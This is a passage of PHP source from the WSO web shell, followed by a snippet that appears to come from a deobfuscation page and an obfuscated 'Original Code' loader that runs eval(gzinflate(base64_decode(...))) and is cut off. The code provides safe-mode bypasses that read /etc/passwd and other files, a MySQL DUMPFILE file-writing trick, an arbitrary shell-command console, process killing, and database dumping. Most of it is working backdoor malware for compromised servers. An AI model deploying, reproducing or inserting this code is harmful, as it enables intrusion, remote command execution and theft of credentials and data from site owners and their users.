								}else{
									$fe[] = "(upload file) sorry, required input not set";
								}
							}
						}
						
						if($portopen){
							$soru = 'CREATE TABLE upload (
										content MEDIUMBLOB NOT NULL
									)';
							$result = mysql_query($soru);
							$fe[] = $result ? "creating table : 'upload' [created]
" : "creating table : 'upload' [failed : ".mysql_error(). "]
";
							mysql_free_result($result);
							if($contents){$fe[] = "string to upload... : ".$contents."
";}
							$query = "INSERT INTO upload(content) VALUES('$contents')";
							$result = mysql_query($query);
							$fe[] = $result ? "inserting string... [OK]
" : "inserting content... [FAILED : ".mysql_error(). "]
";
							mysql_free_result($result);
							if(count($udb)>1){
								mysql_select_db($udb[1]);
								$fe[] = "dumping string to file...
";
								$result = mysql_query("SELECT 0x{$contents} FROM `upload` INTO DUMPFILE '$savepath';");
								$fe[] = $result ? "upload success" : "upload has failed: ".mysql_error()."
";
								mysql_free_result($result);
								$sora = 'DROP TABLE `upload`'; 
								$result = mysql_query($sora);
								$fe[] = $result ? "deleting table : 'upload' [OK]
" : "deleting db : 'upload' [FAILED : ".mysql_error(). "]
";
								mysql_free_result($result);
							}else{
								$fe[] = "dumping string to file...
";
								$result = mysql_query("SELECT 0x{$contents} FROM tmp_up_file.upload INTO DUMPFILE '$savepath';");
								$fe[] = $result ? "upload success" : "upload has failed: ".mysql_error()."
";
								mysql_free_result($result);
								$sora = 'DROP DATABASE `tmp_up_file`';
								$result = mysql_query($sora);
								$fe[] = $result ? "deleting db : 'tmp_up_file' [OK]
" : "deleting db : 'tmp_up_file' [FAILED : ".mysql_error(). "]
";
								mysql_free_result($result);
							}
						}
					}
				}
				foreach($fe as $fez){
					echo $fez;
				}
				break;
		}	
		$temp = "document.getElementById('Output').style.display='';document.getElementById('Output').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"

	\'")."';
";
		echo strlen($temp), "
", $temp;
		exit;
	}

	wsoHeader();

	echo '<h1>Safe mode bypass</h1><div class=content>';
	echo '
	<span>Copy (read file)</span>
	<form onsubmit=\'a(null,null,"1",this.param.value);return false;\'>
		<input type=text name=param><input type=submit value=">>">
	</form><br>
	
	<span>Glob (list dir)</span>
	<form onsubmit=\'a(null,null,"2",this.param.value);return false;\'>
		<input type=text name=param><input type=submit value=">>">
	</form><br>
	<span>Curl (read file)</span>
	<form onsubmit=\'a(null,null,"3",this.param.value);return false;\'>
		<input type=text name=param><input type=submit value=">>">
	</form><br>
	<span>Ini_restore (read file)</span>
	<form onsubmit=\'a(null,null,"4",this.param.value);return false;\'>
		<input type=text name=param><input type=submit value=">>">
	</form><br>
	<span>Posix_getpwuid ("Read" /etc/passwd)</span>
	<table>
		<form onsubmit=\'a(null,null,"5",this.param1.value,this.param2.value);return false;\'>
		<tr><td>From</td><td><input type=text name=param1 value=0></td></tr>
		<tr><td>To</td><td><input type=text name=param2 value=1000></td></tr>
	</table><input type=submit value=">>"></form><br><br>
	<span>Imap_open (read file)</span>
	<form onsubmit=\'a(null,null,"6",this.param.value);return false;\'>
		<input type=text name=param>
		<input type=submit value=">>">
	</form><br>
	<span>Using MySQL (read file)</span>
	<table>
		<form onsubmit=\'u("SafeMode",null,"7",this.param2.value,this.param3.value,this.param4.value,this.param5.value,this.param6.value,null);return false;\'><br>
			<tr>
				<td>file to read</td>
				<td><font color=red>*</font> : <input type=text name=param2 value='.$_POST["param2"].'></td>
			</tr>
			<tr>
				<td>hostname</td>
				<td><font color=red>*</font> : <input type=text name=param3 value='.$_POST["param3"].'></td>
			</tr>
			<tr>
				<td>port</td>
				<td><font color=red>*</font> : <input type=text size=4 name=param4 value='.$_POST["param4"].'></td>
			</tr>
			<tr>
				<td>username</td>
				<td><font color=red>*</font> : <input type=text name=param5 value='.$_POST["param5"].'></td>
			</tr>
			<tr>
				<td>password</td>
				<td><font color=red>*</font> : <input type=text name=param6 value='.$_POST["param6"].'></td>
				<td><input type=submit value=">>"></td>
			</tr>
		</form>
	</table><br>
	<span>Using MySQL (upload file)</span>
	<table>
		<form onsubmit=\'u("SafeMode",null,"8",this.param2.value,this.param3.value,this.param4.value,this.param5.value,this.param6.value,this.param7.value,null);return false;\' method=POST><br>
			<tr>
				<td>remote file</td>
				<td><font color=red>*</font> : <input type=text name=param2 value='.$_POST["param2"].'></td>
			</tr>
			<tr>
				<td>path to save</td>
				<td><font color=red>*</font> : <input type=text name=param3 value='.$_POST["param3"].'></td>
			</tr>
			<tr>
				<td>hostname</td>
				<td><font color=red>*</font> : <input type=text name=param4 value='.$_POST["param4"].'></td>
			</tr>
			<tr>
				<td>port</td>
				<td><font color=red>*</font> : <input type=text size=4 name=param5 value='.$_POST["param5"].'></td>
			</tr>
			<tr>
				<td>username</td>
				<td><font color=red>*</font> : <input type=text name=param6 value='.$_POST["param6"].'></td>
			</tr>
			<tr>
				<td>password</td>
				<td><font color=red>*</font> : <input type=text name=param7 value='.$_POST["param7"].'></td>
				<td><input type=submit value="Upload"></td>
			</tr>
		</form>
	</table>
	<pre class="ml1" style="display:none;margin-top:5px" id="Output"></pre>';
	echo '</div>';

	wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

	if(isset($_POST['ajax'])) {
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
		ob_start();
		echo "d.cf.cmd.value='';
";
		$temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ ".$_POST['p1']."
".wsoEx($_POST['p1']),"

	\'"));
		if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match))	{
			if(@chdir($match[1])) {
				$GLOBALS['cwd'] = @getcwd();
				echo "c_='".$GLOBALS['cwd']."';";
			}
		}
		echo "d.cf.output.value+='".$temp."';";
		echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
		$temp = ob_get_clean();
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
		WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
	wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";
	echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
	foreach($GLOBALS['aliases'] as $n => $v) {
		if($v == '') {
			echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
			continue;
		}
		echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
	}
	
	echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
	if(!empty($_POST['p1'])) {
		echo htmlspecialchars("$ ".$_POST['p1']."
".wsoEx($_POST['p1']));
	}
	echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
	echo '</form></div><script>d.cf.cmd.focus();</script>';
	wsoFooter();
}

function rglob($pattern='*', $flags = 0, $path='')
{
    $paths=glob($path.'*', GLOB_MARK|GLOB_ONLYDIR|GLOB_NOSORT);
    $files=glob($path.$pattern, $flags);
     foreach ($paths as $path) { $files=array_merge($files,rglob($pattern, $flags, $path)); }
     return $files;
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
	die('bye!');
}

function actionPsTable() {
	wsoHeader();
	echo '<h1>Process Table</h1>';
	if($GLOBALS['os'] == 'win'){echo "Can't use this";}else{
	if($_POST['kill_p'] && !$userkill){wsoEx("kill -9 ".$_POST['kill_p']);}
	elseif($_POST['kill_p'] && $userkill){wsoEx("ps -u ".$_POST['userkill']." -o pid | grep -v \"PID\" | xargs kill -9");}
	
	$str=`ps aux`;
	# You can put here preg_match_all for other distrib/os
	preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches);
    print '<table width="100%" cellpadding="3" cellspacing="0" border="1">
        <tr>
        	<td width="5%"><strong><center><font color=#ffffff>Kill User</strong></font></center></td>
			<td width="90%"><strong><center><font color=#ffffff>Process Name</strong></font></center></td>
            <td width="5%"><strong><center><font color=#ffffff>Kill PID</strong></font></center></td>
        </tr>';
	for($i=0; $i<count($matches[3]); $i++){
	$expl=explode(" ",$matches[0][$i]);
	print "<form method=post><tr><td><center><input type=submit name=userkill value=".$expl[0]."></center></td>
	    <td>".$matches[3][$i]."</td>
		<td><center><input type=submit name=kill_p value=".trim($matches[1][$i])."></center></td>
		<input type=hidden name=a value=\"PsTable\"></center></td>
		</form></tr>";
	}#end of for
	print "</table>";}
	wsoFooter();
}
function actionSql() {
	class DbClass {
		var $type;
		var $link;
		var $res;
		function DbClass($type)	{
			$this->type = $type;
		}
		function connect($host, $user, $pass, $dbname){
			switch($this->type)	{
				case 'mysql':
					if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
					break;
				case 'pgsql':
					$host = explode(':', $host);
					if(!$host[1]) $host[1]=5432;
					if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
					break;
			}
			return false;
		}
		function selectdb($db) {
			switch($this->type)	{
				case 'mysql':
					if (@mysql_select_db($db))return true;
					break;
			}
			return false;
		}
		function query($str) {
			switch($this->type) {
				case 'mysql':
					return $this->res = @mysql_query($str);
					break;
				case 'pgsql':
					return $this->res = @pg_query($this->link,$str);
					break;
			}
			return false;
		}
		function fetch() {
			$res = func_num_args()?func_get_arg(0):$this->res;
			switch($this->type)	{
				case 'mysql':
					return @mysql_fetch_assoc($res);
					break;
				case 'pgsql':
					return @pg_fetch_assoc($res);
					break;
			}
			return false;
		}
		function listDbs() {
			switch($this->type)	{
				case 'mysql':
                        return $this->query("SHOW databases");
				break;
				case 'pgsql':
					return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
				break;
			}
			return false;
		}
		function listTables() {
			switch($this->type)	{
				case 'mysql':
					return $this->res = $this->query('SHOW TABLES');
				break;
				case 'pgsql':
					return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
				break;
			}
			return false;
		}
		function error() {
			switch($this->type)	{
				case 'mysql':
					return @mysql_error();
				break;
				case 'pgsql':
					return @pg_last_error();
				break;
			}
			return false;
		}
		function setCharset($str) {
			switch($this->type)	{
				case 'mysql':
					if(function_exists('mysql_set_charset'))
						return @mysql_set_charset($str, $this->link);
					else
						$this->query('SET CHARSET '.$str);
					break;
				case 'pgsql':
					return @pg_set_client_encoding($this->link, $str);
					break;
			}
			return false;
		}
		function loadFile($str) {
			switch($this->type)	{
				case 'mysql':
					return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
				break;
				case 'pgsql':
					$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
					$r=array();
					while($i=$this->fetch())
						$r[] = $i['file'];
					$this->query('drop table wso2');
					return array('file'=>implode("
",$r));
				break;
			}
			return false;
		}
		function dump($table, $fp = false) {
			switch($this->type)	{
				case 'mysql':
					$res = $this->query('SHOW CREATE TABLE `'.$table.'`');
					$create = mysql_fetch_array($res);
					$sql = $create[1].";
";
                    if($fp) fwrite($fp, $sql); else echo($sql);
					$this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
					while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";

";
                        }

						$columns = array();
						foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
							$columns[] = "`".$k."`";
						}
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES 
	(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "
	,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
					}
                    if(!$head)
                        if($fp) fwrite($fp, ";

"); else echo(";

");
				break;
				case 'pgsql':
					$this->query('SELECT * FROM '.$table);
					while($item = $this->fetch()) {
						$columns = array();
						foreach($item as $k=>$v) {
							$item[$k] = "'".addslashes($v)."'";
							$columns[] = $k;
						}
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."
";
                        if($fp) fwrite($fp, $sql); else echo($sql);
					}
				break;
			}
			return false;
		}
	};
	$db = new DbClass($_POST['type']);
	if(@$_POST['p2']=='download') {
		$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
		$db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
				$db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
	}
	wsoHeader();
	echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
	$tmp = "<input type=text name=sql_base value=''>";
	if(isset($_POST['sql_host'])){
		if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
			switch($_POST['charset']) {
				case "Windows-1251": $db->setCharset('cp1251'); break;
				case "UTF-8": $db->setCharset('utf8'); break;
				case "KOI8-R": $db->setCharset('koi8r'); break;
				case "KOI8-U": $db->setCharset('koi8u'); break;
				case "cp866": $db->setCharset('cp866'); break;
			}
			$db->listDbs();
			echo "<select name=sql_base><option value=''></option>";
			while($item = $db->fetch()) {
				list($key, $value) = each($item);
				echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
			}
			echo '</select>';
		}
		else echo $tmp;
	}else
		echo $tmp;
	echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";
	if(isset($db) && $db->link){
		echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
			if(!empty($_POST['sql_base'])){
				$db->selectdb($_POST['sql_base']);
				echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
				$tbls_res = $db->listTables();
				while($item = $db->fetch($tbls_res)) {
					list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
					$value = htmlspecialchars($value);
					echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
				}
				echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
				if(@$_POST['p1'] == 'select') {
					$_POST['p1'] = 'query';
                    $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
					$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
					$num = $db->fetch();
					$pages = ceil($num['n'] / 30);
                    echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
                    echo " of $pages";
                    if($_POST['p3'] > 1)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
                    if($_POST['p3'] < $pages)
                        echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
                    $_POST['p3']--;
					if($_POST['type']=='pgsql')
						$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
					else
						$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
					echo "<br><br>";
				}
				if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
					$db->query(@$_POST['p2']);
					if($db->res !== false) {
						$title = false;
						echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
						$line = 1;
						while($item = $db->fetch())	{
							if(!$title)	{
								echo '<tr>';
								foreach($item as $key => $value)
									echo '<th>'.$key.'</th>';
								reset($item);
								$title=true;
								echo '</tr><tr>';
								$line = 2;
							}
							echo '<tr class="l'.$line.'">';
							$line = $line==1?2:1;
							foreach($item as $key => $value) {
								if($value == null)
									echo '<td><i>null</i></td>';
								else
									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	wsoFooter();
}
if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'SecInfo';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;
?>

Did this file decode correctly?

Original Code

<?php
preg_replace("\x2F\x2E\x2A\x2F\x65","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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